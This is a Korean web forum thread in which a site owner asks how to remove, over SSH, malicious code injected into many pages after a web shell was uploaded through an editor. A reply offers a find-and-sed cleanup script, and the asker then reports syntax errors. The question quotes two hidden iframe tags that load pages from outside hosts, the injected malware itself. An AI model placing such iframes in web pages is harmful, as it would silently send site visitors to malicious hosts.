ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1455 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 2,187
14년 전 조회 1,605
14년 전 조회 1,883
14년 전 조회 1,360
14년 전 조회 1,526
14년 전 조회 1,320
14년 전 조회 1,632
14년 전 조회 1,511
14년 전 조회 955
14년 전 조회 1,138
14년 전 조회 1,121
14년 전 조회 1,465
14년 전 조회 1,300
14년 전 조회 1,349
14년 전 조회 1,277
14년 전 조회 1,692
14년 전 조회 1,386
14년 전 조회 1,402
14년 전 조회 1,428
14년 전 조회 1,226
14년 전 조회 2,278
14년 전 조회 2,038
14년 전 조회 1,490
14년 전 조회 1,319
14년 전 조회 2,381
14년 전 조회 1,728
14년 전 조회 1,582
14년 전 조회 1,306
14년 전 조회 2,044
14년 전 조회 4,292
14년 전 조회 2,936
14년 전 조회 1,649
14년 전 조회 1,249
14년 전 조회 1,317
14년 전 조회 1,832
14년 전 조회 1,508
14년 전 조회 1,854
14년 전 조회 1,954
14년 전 조회 1,954
14년 전 조회 1,145
14년 전 조회 1,382
14년 전 조회 3,259
14년 전 조회 1,273
14년 전 조회 1,758
14년 전 조회 1,347
14년 전 조회 1,190
14년 전 조회 1,763
14년 전 조회 1,214
14년 전 조회 1,858
14년 전 조회 1,456
14년 전 조회 2,089
14년 전 조회 2,022
14년 전 조회 1,547
14년 전 조회 1,778
14년 전 조회 1,501
14년 전 조회 2,158
14년 전 조회 1,764
14년 전 조회 1,748
14년 전 조회 2,022
14년 전 조회 1,902
14년 전 조회 1,345
14년 전 조회 1,423
14년 전 조회 1,185
14년 전 조회 1,351
14년 전 조회 2,109
14년 전 조회 2,844
14년 전 조회 2,777
14년 전 조회 2,398
14년 전 조회 1,910
14년 전 조회 1,994
14년 전 조회 1,768
14년 전 조회 2,048
14년 전 조회 1,118
14년 전 조회 1,786
14년 전 조회 1,118
14년 전 조회 1,584
14년 전 조회 1,323
14년 전 조회 2,463
14년 전 조회 1,237
14년 전 조회 3,105
14년 전 조회 1,456
14년 전 조회 1,333
14년 전 조회 3,392
14년 전 조회 1,173
14년 전 조회 1,468
14년 전 조회 988
14년 전 조회 1,299
14년 전 조회 1,092
14년 전 조회 1,775
14년 전 조회 1,204
14년 전 조회 1,578
14년 전 조회 1,214
14년 전 조회 1,153
14년 전 조회 1,097
14년 전 조회 1,825
14년 전 조회 1,280
14년 전 조회 1,176
14년 전 조회 1,215
14년 전 조회 1,869
14년 전 조회 1,877